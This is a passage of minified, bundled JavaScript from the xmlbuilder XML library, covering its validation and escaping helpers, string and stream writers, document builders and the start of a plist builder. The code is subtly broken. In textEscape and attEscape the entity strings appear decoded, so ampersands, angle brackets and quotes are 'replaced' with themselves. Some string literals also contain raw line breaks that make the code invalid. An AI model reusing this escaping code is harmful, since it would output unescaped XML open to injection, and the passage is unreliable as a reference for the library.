Y=""+Y||"",Y=Y.replace("]]>","]]]]><![CDATA[>"),this.assertLegalChar(Y)}comment(Y){if(this.options.noValidation)return Y;if(Y=""+Y||"",Y.match(/--/))throw Error("Comment text cannot contain double-hypen: "+Y);return this.assertLegalChar(Y)}raw(Y){if(this.options.noValidation)return Y;return""+Y||""}attValue(Y){if(this.options.noValidation)return Y;return this.assertLegalChar(this.attEscape(Y=""+Y||""))}insTarget(Y){if(this.options.noValidation)return Y;return this.assertLegalChar(""+Y||"")}insValue(Y){if(this.options.noValidation)return Y;if(Y=""+Y||"",Y.match(/\?>/))throw Error("Invalid processing instruction value: "+Y);return this.assertLegalChar(Y)}xmlVersion(Y){if(this.options.noValidation)return Y;if(Y=""+Y||"",!Y.match(/1\.[0-9]+/))throw Error("Invalid version number: "+Y);return Y}xmlEncoding(Y){if(this.options.noValidation)return Y;if(Y=""+Y||"",!Y.match(/^[A-Za-z](?:[A-Za-z0-9._-])*$/))throw Error("Invalid encoding: "+Y);return this.assertLegalChar(Y)}xmlStandalone(Y){if(this.options.noValidation)return Y;if(Y)return"yes";else return"no"}dtdPubID(Y){if(this.options.noValidation)return Y;return this.assertLegalChar(""+Y||"")}dtdSysID(Y){if(this.options.noValidation)return Y;return this.assertLegalChar(""+Y||"")}dtdElementValue(Y){if(this.options.noValidation)return Y;return this.assertLegalChar(""+Y||"")}dtdAttType(Y){if(this.options.noValidation)return Y;return this.assertLegalChar(""+Y||"")}dtdAttDefault(Y){if(this.options.noValidation)return Y;return this.assertLegalChar(""+Y||"")}dtdEntityValue(Y){if(this.options.noValidation)return Y;return this.assertLegalChar(""+Y||"")}dtdNData(Y){if(this.options.noValidation)return Y;return this.assertLegalChar(""+Y||"")}assertLegalChar(Y){var z,w;if(this.options.noValidation)return Y;if(this.options.version==="1.0"){if(z=/[\0-\x08\x0B\f\x0E-\x1F\uFFFE\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF]/g,this.options.invalidCharReplacement!==void 0)Y=Y.replace(z,this.options.invalidCharReplacement);else if(w=Y.match(z))throw Error(`Invalid character in string: ${Y} at index ${w.index}`)}else if(this.options.version==="1.1"){if(z=/[\0\uFFFE\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF]/g,this.options.invalidCharReplacement!==void 0)Y=Y.replace(z,this.options.invalidCharReplacement);else if(w=Y.match(z))throw Error(`Invalid character in string: ${Y} at index ${w.index}`)}return Y}assertLegalName(Y){var z;if(this.options.noValidation)return Y;if(Y=this.assertLegalChar(Y),z=/^([:A-Z_a-z\xC0-\xD6\xD8-\xF6\xF8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD]|[\uD800-\uDB7F][\uDC00-\uDFFF])([\x2D\.0-:A-Z_a-z\xB7\xC0-\xD6\xD8-\xF6\xF8-\u037D\u037F-\u1FFF\u200C\u200D\u203F\u2040\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD]|[\uD800-\uDB7F][\uDC00-\uDFFF])*$/,!Y.match(z))throw Error(`Invalid character in name: ${Y}`);return Y}textEscape(Y){var z;if(this.options.noValidation)return Y;return z=this.options.noDoubleEncoding?/(?!&(lt|gt|amp|apos|quot);)&/g:/&/g,Y.replace(z,"&").replace(/</g,"<").replace(/>/g,">").replace(/\r/g,"
")}attEscape(Y){var z;if(this.options.noValidation)return Y;return z=this.options.noDoubleEncoding?/(?!&(lt|gt|amp|apos|quot);)&/g:/&/g,Y.replace(z,"&").replace(/</g,"<").replace(/"/g,""").replace(/\t/g,"	").replace(/\n/g,"
").replace(/\r/g,"
")}}return q.prototype.convertAttKey="@",q.prototype.convertPIKey="?",q.prototype.convertTextKey="#text",q.prototype.convertCDataKey="#cdata",q.prototype.convertCommentKey="#comment",q.prototype.convertRawKey="#raw",q}.call(this)}).call(UAK)});var JQA=v((dAK,cAK)=>{(function(){cAK.exports={None:0,OpenTag:1,InsideTag:2,CloseTag:3}}).call(dAK)});var lR6=v((lAK,iAK)=>{(function(){var A,K,q,Y,z,w,H,J,O,X,$,_,G,Z,W,D,j,M={}.hasOwnProperty;({assign:j}=rB()),A=DX(),O=BM1(),X=UM1(),q=xM1(),Y=uM1(),_=bM1(),Z=pM1(),W=dM1(),G=cM1(),$=dR6(),z=mM1(),w=FM1(),H=gM1(),J=QM1(),K=JQA(),iAK.exports=D=class{constructor(f){var N,T,C;f||(f={}),this.options=f,T=f.writer||{};for(N in T){if(!M.call(T,N))continue;C=T[N],this["_"+N]=this[N],this[N]=C}}filterOptions(f){var N,T,C,R,x,y,B,b,F;if(f||(f={}),f=j({},this.options,f),N={writer:this},N.pretty=f.pretty||!1,N.allowEmpty=f.allowEmpty||!1,N.indent=(T=f.indent)!=null?T:" ",N.newline=(C=f.newline)!=null?C:` `,N.offset=(R=f.offset)!=null?R:0,N.width=(x=f.width)!=null?x:0,N.dontPrettyTextNodes=(y=(B=f.dontPrettyTextNodes)!=null?B:f.dontprettytextnodes)!=null?y:0,N.spaceBeforeSlash=(b=(F=f.spaceBeforeSlash)!=null?F:f.spacebeforeslash)!=null?b:"",N.spaceBeforeSlash===!0)N.spaceBeforeSlash=" ";return N.suppressPrettyCount=0,N.user={},N.state=K.None,N}indent(f,N,T){var C;if(!N.pretty||N.suppressPrettyCount)return"";else if(N.pretty){if(C=(T||0)+N.offset+1,C>0)return Array(C).join(N.indent)}return""}endline(f,N,T){if(!N.pretty||N.suppressPrettyCount)return"";else return N.newline}attribute(f,N,T){var C;if(this.openAttribute(f,N,T),N.pretty&&N.width>0)C=f.name+'="'+f.value+'"';else C=" "+f.name+'="'+f.value+'"';return this.closeAttribute(f,N,T),C}cdata(f,N,T){var C;return this.openNode(f,N,T),N.state=K.OpenTag,C=this.indent(f,N,T)+"<![CDATA[",N.state=K.InsideTag,C+=f.value,N.state=K.CloseTag,C+="]]>"+this.endline(f,N,T),N.state=K.None,this.closeNode(f,N,T),C}comment(f,N,T){var C;return this.openNode(f,N,T),N.state=K.OpenTag,C=this.indent(f,N,T)+"<!-- ",N.state=K.InsideTag,C+=f.value,N.state=K.CloseTag,C+=" -->"+this.endline(f,N,T),N.state=K.None,this.closeNode(f,N,T),C}declaration(f,N,T){var C;if(this.openNode(f,N,T),N.state=K.OpenTag,C=this.indent(f,N,T)+"<?xml",N.state=K.InsideTag,C+=' version="'+f.version+'"',f.encoding!=null)C+=' encoding="'+f.encoding+'"';if(f.standalone!=null)C+=' standalone="'+f.standalone+'"';return N.state=K.CloseTag,C+=N.spaceBeforeSlash+"?>",C+=this.endline(f,N,T),N.state=K.None,this.closeNode(f,N,T),C}docType(f,N,T){var C,R,x,y,B;if(T||(T=0),this.openNode(f,N,T),N.state=K.OpenTag,y=this.indent(f,N,T),y+="<!DOCTYPE "+f.root().name,f.pubID&&f.sysID)y+=' PUBLIC "'+f.pubID+'" "'+f.sysID+'"';else if(f.sysID)y+=' SYSTEM "'+f.sysID+'"';if(f.children.length>0){y+=" [",y+=this.endline(f,N,T),N.state=K.InsideTag,B=f.children;for(R=0,x=B.length;R<x;R++)C=B[R],y+=this.writeChildNode(C,N,T+1);N.state=K.CloseTag,y+="]"}return N.state=K.CloseTag,y+=N.spaceBeforeSlash+">",y+=this.endline(f,N,T),N.state=K.None,this.closeNode(f,N,T),y}element(f,N,T){var C,R,x,y,B,b,F,Q,u,d,r,c,YA,e,qA,HA,_A,a,JA;if(T||(T=0),c=!1,this.openNode(f,N,T),N.state=K.OpenTag,YA=this.indent(f,N,T)+"<"+f.name,N.pretty&&N.width>0){Q=YA.length,qA=f.attribs;for(r in qA){if(!M.call(qA,r))continue;if(C=qA[r],e=this.attribute(C,N,T),R=e.length,Q+R>N.width)JA=this.indent(f,N,T+1)+e,YA+=this.endline(f,N,T)+JA,Q=JA.length;else JA=" "+e,YA+=JA,Q+=JA.length}}else{HA=f.attribs;for(r in HA){if(!M.call(HA,r))continue;C=HA[r],YA+=this.attribute(C,N,T)}}if(y=f.children.length,B=y===0?null:f.children[0],y===0||f.children.every(function(jA){return(jA.type===A.Text||jA.type===A.Raw||jA.type===A.CData)&&jA.value===""}))if(N.allowEmpty)YA+=">",N.state=K.CloseTag,YA+="</"+f.name+">"+this.endline(f,N,T);else N.state=K.CloseTag,YA+=N.spaceBeforeSlash+"/>"+this.endline(f,N,T);else if(N.pretty&&y===1&&(B.type===A.Text||B.type===A.Raw||B.type===A.CData)&&B.value!=null)YA+=">",N.state=K.InsideTag,N.suppressPrettyCount++,c=!0,YA+=this.writeChildNode(B,N,T+1),N.suppressPrettyCount--,c=!1,N.state=K.CloseTag,YA+="</"+f.name+">"+this.endline(f,N,T);else{if(N.dontPrettyTextNodes){_A=f.children;for(b=0,u=_A.length;b<u;b++)if(x=_A[b],(x.type===A.Text||x.type===A.Raw||x.type===A.CData)&&x.value!=null){N.suppressPrettyCount++,c=!0;break}}YA+=">"+this.endline(f,N,T),N.state=K.InsideTag,a=f.children;for(F=0,d=a.length;F<d;F++)x=a[F],YA+=this.writeChildNode(x,N,T+1);if(N.state=K.CloseTag,YA+=this.indent(f,N,T)+"</"+f.name+">",c)N.suppressPrettyCount--;YA+=this.endline(f,N,T),N.state=K.None}return this.closeNode(f,N,T),YA}writeChildNode(f,N,T){switch(f.type){case A.CData:return this.cdata(f,N,T);case A.Comment:return this.comment(f,N,T);case A.Element:return this.element(f,N,T);case A.Raw:return this.raw(f,N,T);case A.Text:return this.text(f,N,T);case A.ProcessingInstruction:return this.processingInstruction(f,N,T);case A.Dummy:return"";case A.Declaration:return this.declaration(f,N,T);case A.DocType:return this.docType(f,N,T);case A.AttributeDeclaration:return this.dtdAttList(f,N,T);case A.ElementDeclaration:return this.dtdElement(f,N,T);case A.EntityDeclaration:return this.dtdEntity(f,N,T);case A.NotationDeclaration:return this.dtdNotation(f,N,T);default:throw Error("Unknown XML node type: "+f.constructor.name)}}processingInstruction(f,N,T){var C;if(this.openNode(f,N,T),N.state=K.OpenTag,C=this.indent(f,N,T)+"<?",N.state=K.InsideTag,C+=f.target,f.value)C+=" "+f.value;return N.state=K.CloseTag,C+=N.spaceBeforeSlash+"?>",C+=this.endline(f,N,T),N.state=K.None,this.closeNode(f,N,T),C}raw(f,N,T){var C;return this.openNode(f,N,T),N.state=K.OpenTag,C=this.indent(f,N,T),N.state=K.InsideTag,C+=f.value,N.state=K.CloseTag,C+=this.endline(f,N,T),N.state=K.None,this.closeNode(f,N,T),C}text(f,N,T){var C;return this.openNode(f,N,T),N.state=K.OpenTag,C=this.indent(f,N,T),N.state=K.InsideTag,C+=f.value,N.state=K.CloseTag,C+=this.endline(f,N,T),N.state=K.None,this.closeNode(f,N,T),C}dtdAttList(f,N,T){var C;if(this.openNode(f,N,T),N.state=K.OpenTag,C=this.indent(f,N,T)+"<!ATTLIST",N.state=K.InsideTag,C+=" "+f.elementName+" "+f.attributeName+" "+f.attributeType,f.defaultValueType!=="#DEFAULT")C+=" "+f.defaultValueType;if(f.defaultValue)C+=' "'+f.defaultValue+'"';return N.state=K.CloseTag,C+=N.spaceBeforeSlash+">"+this.endline(f,N,T),N.state=K.None,this.closeNode(f,N,T),C}dtdElement(f,N,T){var C;return this.openNode(f,N,T),N.state=K.OpenTag,C=this.indent(f,N,T)+"<!ELEMENT",N.state=K.InsideTag,C+=" "+f.name+" "+f.value,N.state=K.CloseTag,C+=N.spaceBeforeSlash+">"+this.endline(f,N,T),N.state=K.None,this.closeNode(f,N,T),C}dtdEntity(f,N,T){var C;if(this.openNode(f,N,T),N.state=K.OpenTag,C=this.indent(f,N,T)+"<!ENTITY",N.state=K.InsideTag,f.pe)C+=" %";if(C+=" "+f.name,f.value)C+=' "'+f.value+'"';else{if(f.pubID&&f.sysID)C+=' PUBLIC "'+f.pubID+'" "'+f.sysID+'"';else if(f.sysID)C+=' SYSTEM "'+f.sysID+'"';if(f.nData)C+=" NDATA "+f.nData}return N.state=K.CloseTag,C+=N.spaceBeforeSlash+">"+this.endline(f,N,T),N.state=K.None,this.closeNode(f,N,T),C}dtdNotation(f,N,T){var C;if(this.openNode(f,N,T),N.state=K.OpenTag,C=this.indent(f,N,T)+"<!NOTATION",N.state=K.InsideTag,C+=" "+f.name,f.pubID&&f.sysID)C+=' PUBLIC "'+f.pubID+'" "'+f.sysID+'"';else if(f.pubID)C+=' PUBLIC "'+f.pubID+'"';else if(f.sysID)C+=' SYSTEM "'+f.sysID+'"';return N.state=K.CloseTag,C+=N.spaceBeforeSlash+">"+this.endline(f,N,T),N.state=K.None,this.closeNode(f,N,T),C}openNode(f,N,T){}closeNode(f,N,T){}openAttribute(f,N,T){}closeAttribute(f,N,T){}}}).call(lAK)});var lM1=v((nAK,rAK)=>{(function(){var A,K;K=lR6(),rAK.exports=A=class extends K{constructor(Y){super(Y)}document(Y,z){var w,H,J,O,X;z=this.filterOptions(z),O="",X=Y.children;for(H=0,J=X.length;H<J;H++)w=X[H],O+=this.writeChildNode(w,z,0);if(z.pretty&&O.slice(-z.newline.length)===z.newline)O=O.slice(0,-z.newline.length);return O}}}).call(nAK)});var iR6=v((oAK,aAK)=>{(function(){var A,K,q,Y,z,w,H,J;({isPlainObject:J}=rB()),q=UR6(),K=te7(),z=Dv(),A=DX(),H=cR6(),w=lM1(),aAK.exports=Y=function(){class O extends z{constructor(X){super(null);if(this.name="#document",this.type=A.Document,this.documentURI=null,this.domConfig=new K,X||(X={}),!X.writer)X.writer=new w;this.options=X,this.stringify=new H(X)}end(X){var $={};if(!X)X=this.options.writer;else if(J(X))$=X,X=this.options.writer;return X.document(this,X.filterOptions($))}toString(X){return this.options.writer.document(this,this.options.writer.filterOptions(X))}createElement(X){throw Error("This DOM method is not implemented."+this.debugInfo())}createDocumentFragment(){throw Error("This DOM method is not implemented."+this.debugInfo())}createTextNode(X){throw Error("This DOM method is not implemented."+this.debugInfo())}createComment(X){throw Error("This DOM method is not implemented."+this.debugInfo())}createCDATASection(X){throw Error("This DOM method is not implemented."+this.debugInfo())}createProcessingInstruction(X,$){throw Error("This DOM method is not implemented."+this.debugInfo())}createAttribute(X){throw Error("This DOM method is not implemented."+this.debugInfo())}createEntityReference(X){throw Error("This DOM method is not implemented."+this.debugInfo())}getElementsByTagName(X){throw Error("This DOM method is not implemented."+this.debugInfo())}importNode(X,$){throw Error("This DOM method is not implemented."+this.debugInfo())}createElementNS(X,$){throw Error("This DOM method is not implemented."+this.debugInfo())}createAttributeNS(X,$){throw Error("This DOM method is not implemented."+this.debugInfo())}getElementsByTagNameNS(X,$){throw Error("This DOM method is not implemented."+this.debugInfo())}getElementById(X){throw Error("This DOM method is not implemented."+this.debugInfo())}adoptNode(X){throw Error("This DOM method is not implemented."+this.debugInfo())}normalizeDocument(){throw Error("This DOM method is not implemented."+this.debugInfo())}renameNode(X,$,_){throw Error("This DOM method is not implemented."+this.debugInfo())}getElementsByClassName(X){throw Error("This DOM method is not implemented."+this.debugInfo())}createEvent(X){throw Error("This DOM method is not implemented."+this.debugInfo())}createRange(){throw Error("This DOM method is not implemented."+this.debugInfo())}createNodeIterator(X,$,_){throw Error("This DOM method is not implemented."+this.debugInfo())}createTreeWalker(X,$,_){throw Error("This DOM method is not implemented."+this.debugInfo())}}return Object.defineProperty(O.prototype,"implementation",{value:new q}),Object.defineProperty(O.prototype,"doctype",{get:function(){var X,$,_,G;G=this.children;for($=0,_=G.length;$<_;$++)if(X=G[$],X.type===A.DocType)return X;return null}}),Object.defineProperty(O.prototype,"documentElement",{get:function(){return this.rootObject||null}}),Object.defineProperty(O.prototype,"inputEncoding",{get:function(){return null}}),Object.defineProperty(O.prototype,"strictErrorChecking",{get:function(){return!1}}),Object.defineProperty(O.prototype,"xmlEncoding",{get:function(){if(this.children.length!==0&&this.children[0].type===A.Declaration)return this.children[0].encoding;else return null}}),Object.defineProperty(O.prototype,"xmlStandalone",{get:function(){if(this.children.length!==0&&this.children[0].type===A.Declaration)return this.children[0].standalone==="yes";else return!1}}),Object.defineProperty(O.prototype,"xmlVersion",{get:function(){if(this.children.length!==0&&this.children[0].type===A.Declaration)return this.children[0].version;else return"1.0"}}),Object.defineProperty(O.prototype,"URL",{get:function(){return this.documentURI}}),Object.defineProperty(O.prototype,"origin",{get:function(){return null}}),Object.defineProperty(O.prototype,"compatMode",{get:function(){return null}}),Object.defineProperty(O.prototype,"characterSet",{get:function(){return null}}),Object.defineProperty(O.prototype,"contentType",{get:function(){return null}}),O}.call(this)}).call(oAK)});var eAK=v((sAK,tAK)=>{(function(){var A,K,q,Y,z,w,H,J,O,X,$,_,G,Z,W,D,j,M,P,f,N,T,C,R={}.hasOwnProperty;({isObject:T,isFunction:N,isPlainObject:C,getValue:f}=rB()),A=DX(),_=iR6(),Z=bM1(),Y=xM1(),z=uM1(),D=pM1(),P=dM1(),W=cM1(),X=BM1(),$=UM1(),w=mM1(),J=gM1(),H=FM1(),O=QM1(),q=pR6(),M=cR6(),j=lM1(),K=JQA(),tAK.exports=G=class{constructor(y,B,b){var F;if(this.name="?xml",this.type=A.Document,y||(y={}),F={},!y.writer)y.writer=new j;else if(C(y.writer))F=y.writer,y.writer=new j;this.options=y,this.writer=y.writer,this.writerOptions=this.writer.filterOptions(F),this.stringify=new M(y),this.onDataCallback=B||function(){},this.onEndCallback=b||function(){},this.currentNode=null,this.currentLevel=-1,this.openTags={},this.documentStarted=!1,this.documentCompleted=!1,this.root=null}createChildNode(y){var B,b,F,Q,u,d,r,c;switch(y.type){case A.CData:this.cdata(y.value);break;case A.Comment:this.comment(y.value);break;case A.Element:F={},r=y.attribs;for(b in r){if(!R.call(r,b))continue;B=r[b],F[b]=B.value}this.node(y.name,F);break;case A.Dummy:this.dummy();break;case A.Raw:this.raw(y.value);break;case A.Text:this.text(y.value);break;case A.ProcessingInstruction:this.instruction(y.target,y.value);break;default:throw Error("This XML node type is not supported in a JS object: "+y.constructor.name)}c=y.children;for(u=0,d=c.length;u<d;u++)if(Q=c[u],this.createChildNode(Q),Q.type===A.Element)this.up();return this}dummy(){return this}node(y,B,b){if(y==null)throw Error("Missing node name.");if(this.root&&this.currentLevel===-1)throw Error("Document can only have one root node. "+this.debugInfo(y));if(this.openCurrent(),y=f(y),B==null)B={};if(B=f(B),!T(B))[b,B]=[B,b];if(this.currentNode=new Z(this,y,B),this.currentNode.children=!1,this.currentLevel++,this.openTags[this.currentLevel]=this.currentNode,b!=null)this.text(b);return this}element(y,B,b){var F,Q,u,d,r,c;if(this.currentNode&&this.currentNode.type===A.DocType)this.dtdElement(...arguments);else if(Array.isArray(y)||T(y)||N(y)){d=this.options.noValidation,this.options.noValidation=!0,c=new _(this.options).element("TEMP_ROOT"),c.element(y),this.options.noValidation=d,r=c.children;for(Q=0,u=r.length;Q<u;Q++)if(F=r[Q],this.createChildNode(F),F.type===A.Element)this.up()}else this.node(y,B,b);return this}attribute(y,B){var b,F;if(!this.currentNode||this.currentNode.children)throw Error("att() can only be used immediately after an ele() call in callback mode. "+this.debugInfo(y));if(y!=null)y=f(y);if(T(y))for(b in y){if(!R.call(y,b))continue;F=y[b],this.attribute(b,F)}else{if(N(B))B=B.apply();if(this.options.keepNullAttributes&&B==null)this.currentNode.attribs[y]=new q(this,y,"");else if(B!=null)this.currentNode.attribs[y]=new q(this,y,B)}return this}text(y){var B;return this.openCurrent(),B=new P(this,y),this.onData(this.writer.text(B,this.writerOptions,this.currentLevel+1),this.currentLevel+1),this}cdata(y){var B;return this.openCurrent(),B=new Y(this,y),this.onData(this.writer.cdata(B,this.writerOptions,this.currentLevel+1),this.currentLevel+1),this}comment(y){var B;return this.openCurrent(),B=new z(this,y),this.onData(this.writer.comment(B,this.writerOptions,this.currentLevel+1),this.currentLevel+1),this}raw(y){var B;return this.openCurrent(),B=new D(this,y),this.onData(this.writer.raw(B,this.writerOptions,this.currentLevel+1),this.currentLevel+1),this}instruction(y,B){var b,F,Q,u,d;if(this.openCurrent(),y!=null)y=f(y);if(B!=null)B=f(B);if(Array.isArray(y))for(b=0,u=y.length;b<u;b++)F=y[b],this.instruction(F);else if(T(y))for(F in y){if(!R.call(y,F))continue;Q=y[F],this.instruction(F,Q)}else{if(N(B))B=B.apply();d=new W(this,y,B),this.onData(this.writer.processingInstruction(d,this.writerOptions,this.currentLevel+1),this.currentLevel+1)}return this}declaration(y,B,b){var F;if(this.openCurrent(),this.documentStarted)throw Error("declaration() must be the first node.");return F=new X(this,y,B,b),this.onData(this.writer.declaration(F,this.writerOptions,this.currentLevel+1),this.currentLevel+1),this}doctype(y,B,b){if(this.openCurrent(),y==null)throw Error("Missing root node name.");if(this.root)throw Error("dtd() must come before the root node.");return this.currentNode=new $(this,B,b),this.currentNode.rootNodeName=y,this.currentNode.children=!1,this.currentLevel++,this.openTags[this.currentLevel]=this.currentNode,this}dtdElement(y,B){var b;return this.openCurrent(),b=new H(this,y,B),this.onData(this.writer.dtdElement(b,this.writerOptions,this.currentLevel+1),this.currentLevel+1),this}attList(y,B,b,F,Q){var u;return this.openCurrent(),u=new w(this,y,B,b,F,Q),this.onData(this.writer.dtdAttList(u,this.writerOptions,this.currentLevel+1),this.currentLevel+1),this}entity(y,B){var b;return this.openCurrent(),b=new J(this,!1,y,B),this.onData(this.writer.dtdEntity(b,this.writerOptions,this.currentLevel+1),this.currentLevel+1),this}pEntity(y,B){var b;return this.openCurrent(),b=new J(this,!0,y,B),this.onData(this.writer.dtdEntity(b,this.writerOptions,this.currentLevel+1),this.currentLevel+1),this}notation(y,B){var b;return this.openCurrent(),b=new O(this,y,B),this.onData(this.writer.dtdNotation(b,this.writerOptions,this.currentLevel+1),this.currentLevel+1),this}up(){if(this.currentLevel<0)throw Error("The document node has no parent.");if(this.currentNode){if(this.currentNode.children)this.closeNode(this.currentNode);else this.openNode(this.currentNode);this.currentNode=null}else this.closeNode(this.openTags[this.currentLevel]);return delete this.openTags[this.currentLevel],this.currentLevel--,this}end(){while(this.currentLevel>=0)this.up();return this.onEnd()}openCurrent(){if(this.currentNode)return this.currentNode.children=!0,this.openNode(this.currentNode)}openNode(y){var B,b,F,Q;if(!y.isOpen){if(!this.root&&this.currentLevel===0&&y.type===A.Element)this.root=y;if(b="",y.type===A.Element){this.writerOptions.state=K.OpenTag,b=this.writer.indent(y,this.writerOptions,this.currentLevel)+"<"+y.name,Q=y.attribs;for(F in Q){if(!R.call(Q,F))continue;B=Q[F],b+=this.writer.attribute(B,this.writerOptions,this.currentLevel)}b+=(y.children?">":"/>")+this.writer.endline(y,this.writerOptions,this.currentLevel),this.writerOptions.state=K.InsideTag}else{if(this.writerOptions.state=K.OpenTag,b=this.writer.indent(y,this.writerOptions,this.currentLevel)+"<!DOCTYPE "+y.rootNodeName,y.pubID&&y.sysID)b+=' PUBLIC "'+y.pubID+'" "'+y.sysID+'"';else if(y.sysID)b+=' SYSTEM "'+y.sysID+'"';if(y.children)b+=" [",this.writerOptions.state=K.InsideTag;else this.writerOptions.state=K.CloseTag,b+=">";b+=this.writer.endline(y,this.writerOptions,this.currentLevel)}return this.onData(b,this.currentLevel),y.isOpen=!0}}closeNode(y){var B;if(!y.isClosed){if(B="",this.writerOptions.state=K.CloseTag,y.type===A.Element)B=this.writer.indent(y,this.writerOptions,this.currentLevel)+"</"+y.name+">"+this.writer.endline(y,this.writerOptions,this.currentLevel);else B=this.writer.indent(y,this.writerOptions,this.currentLevel)+"]>"+this.writer.endline(y,this.writerOptions,this.currentLevel);return this.writerOptions.state=K.None,this.onData(B,this.currentLevel),y.isClosed=!0}}onData(y,B){return this.documentStarted=!0,this.onDataCallback(y,B+1)}onEnd(){return this.documentCompleted=!0,this.onEndCallback()}debugInfo(y){if(y==null)return"";else return"node: <"+y+">"}ele(){return this.element(...arguments)}nod(y,B,b){return this.node(y,B,b)}txt(y){return this.text(y)}dat(y){return this.cdata(y)}com(y){return this.comment(y)}ins(y,B){return this.instruction(y,B)}dec(y,B,b){return this.declaration(y,B,b)}dtd(y,B,b){return this.doctype(y,B,b)}e(y,B,b){return this.element(y,B,b)}n(y,B,b){return this.node(y,B,b)}t(y){return this.text(y)}d(y){return this.cdata(y)}c(y){return this.comment(y)}r(y){return this.raw(y)}i(y,B){return this.instruction(y,B)}att(){if(this.currentNode&&this.currentNode.type===A.DocType)return this.attList(...arguments);else return this.attribute(...arguments)}a(){if(this.currentNode&&this.currentNode.type===A.DocType)return this.attList(...arguments);else return this.attribute(...arguments)}ent(y,B){return this.entity(y,B)}pent(y,B){return this.pEntity(y,B)}not(y,B){return this.notation(y,B)}}}).call(sAK)});var q1K=v((A1K,K1K)=>{(function(){var A,K,q,Y,z={}.hasOwnProperty;A=DX(),Y=lR6(),K=JQA(),K1K.exports=q=class extends Y{constructor(H,J){super(J);this.stream=H}endline(H,J,O){if(H.isLastRootNode&&J.state===K.CloseTag)return"";else return super.endline(H,J,O)}document(H,J){var O,X,$,_,G,Z,W,D,j;W=H.children;for(X=$=0,G=W.length;$<G;X=++$)O=W[X],O.isLastRootNode=X===H.children.length-1;J=this.filterOptions(J),D=H.children,j=[];for(_=0,Z=D.length;_<Z;_++)O=D[_],j.push(this.writeChildNode(O,J,0));return j}cdata(H,J,O){return this.stream.write(super.cdata(H,J,O))}comment(H,J,O){return this.stream.write(super.comment(H,J,O))}declaration(H,J,O){return this.stream.write(super.declaration(H,J,O))}docType(H,J,O){var X,$,_,G;if(O||(O=0),this.openNode(H,J,O),J.state=K.OpenTag,this.stream.write(this.indent(H,J,O)),this.stream.write("<!DOCTYPE "+H.root().name),H.pubID&&H.sysID)this.stream.write(' PUBLIC "'+H.pubID+'" "'+H.sysID+'"');else if(H.sysID)this.stream.write(' SYSTEM "'+H.sysID+'"');if(H.children.length>0){this.stream.write(" ["),this.stream.write(this.endline(H,J,O)),J.state=K.InsideTag,G=H.children;for($=0,_=G.length;$<_;$++)X=G[$],this.writeChildNode(X,J,O+1);J.state=K.CloseTag,this.stream.write("]")}return J.state=K.CloseTag,this.stream.write(J.spaceBeforeSlash+">"),this.stream.write(this.endline(H,J,O)),J.state=K.None,this.closeNode(H,J,O)}element(H,J,O){var X,$,_,G,Z,W,D,j,M,P,f,N,T,C,R,x;if(O||(O=0),this.openNode(H,J,O),J.state=K.OpenTag,f=this.indent(H,J,O)+"<"+H.name,J.pretty&&J.width>0){D=f.length,T=H.attribs;for(M in T){if(!z.call(T,M))continue;if(X=T[M],N=this.attribute(X,J,O),$=N.length,D+$>J.width)x=this.indent(H,J,O+1)+N,f+=this.endline(H,J,O)+x,D=x.length;else x=" "+N,f+=x,D+=x.length}}else{C=H.attribs;for(M in C){if(!z.call(C,M))continue;X=C[M],f+=this.attribute(X,J,O)}}if(this.stream.write(f),G=H.children.length,Z=G===0?null:H.children[0],G===0||H.children.every(function(y){return(y.type===A.Text||y.type===A.Raw||y.type===A.CData)&&y.value===""}))if(J.allowEmpty)this.stream.write(">"),J.state=K.CloseTag,this.stream.write("</"+H.name+">");else J.state=K.CloseTag,this.stream.write(J.spaceBeforeSlash+"/>");else if(J.pretty&&G===1&&(Z.type===A.Text||Z.type===A.Raw||Z.type===A.CData)&&Z.value!=null)this.stream.write(">"),J.state=K.InsideTag,J.suppressPrettyCount++,P=!0,this.writeChildNode(Z,J,O+1),J.suppressPrettyCount--,P=!1,J.state=K.CloseTag,this.stream.write("</"+H.name+">");else{this.stream.write(">"+this.endline(H,J,O)),J.state=K.InsideTag,R=H.children;for(W=0,j=R.length;W<j;W++)_=R[W],this.writeChildNode(_,J,O+1);J.state=K.CloseTag,this.stream.write(this.indent(H,J,O)+"</"+H.name+">")}return this.stream.write(this.endline(H,J,O)),J.state=K.None,this.closeNode(H,J,O)}processingInstruction(H,J,O){return this.stream.write(super.processingInstruction(H,J,O))}raw(H,J,O){return this.stream.write(super.raw(H,J,O))}text(H,J,O){return this.stream.write(super.text(H,J,O))}dtdAttList(H,J,O){return this.stream.write(super.dtdAttList(H,J,O))}dtdElement(H,J,O){return this.stream.write(super.dtdElement(H,J,O))}dtdEntity(H,J,O){return this.stream.write(super.dtdEntity(H,J,O))}dtdNotation(H,J,O){return this.stream.write(super.dtdNotation(H,J,O))}}}).call(A1K)});var z1K=v((Y1K,Ct)=>{(function(){var A,K,q,Y,z,w,H,J,O;({assign:J,isFunction:O}=rB()),q=UR6(),Y=iR6(),z=eAK(),H=lM1(),w=q1K(),A=DX(),K=JQA(),Y1K.create=function(X,$,_,G){var Z,W;if(X==null)throw Error("Root element needs a name.");if(G=J({},$,_,G),Z=new Y(G),W=Z.element(X),!G.headless){if(Z.declaration(G),G.pubID!=null||G.sysID!=null)Z.dtd(G)}return W},Y1K.begin=function(X,$,_){if(O(X))[$,_]=[X,$],X={};if($)return new z(X,$,_);else return new Y(X)},Y1K.stringWriter=function(X){return new H(X)},Y1K.streamWriter=function(X,$){return new w(X,$)},Y1K.implementation=new q,Y1K.nodeType=A,Y1K.writerState=K}).call(Y1K)});var J1K=v((IG2)=>{var w1K=SH6(),CG2=z1K();IG2.build=yG2;function LG2(A){function K(q){return q<10?"0"+q:q}return A.getUTCFullYear()+"-"+K(A.getUTCMonth()+1)+"-"+K(A.getUTCDate())+"T"+K(A.getUTCHours())+":"+K(A.getUTCMinutes())+":"+K(A.getUTCSeconds())+"Z"}var RG2=Object.prototype.toString;function H1K(A){var K=RG2.call(A).match(/\[object (.*)\]/);return K?K[1]:K}function yG2(A,K){var q={version:"1.0",encoding:"UTF-8"},Y={pubid:"-//Apple//DTD PLIST 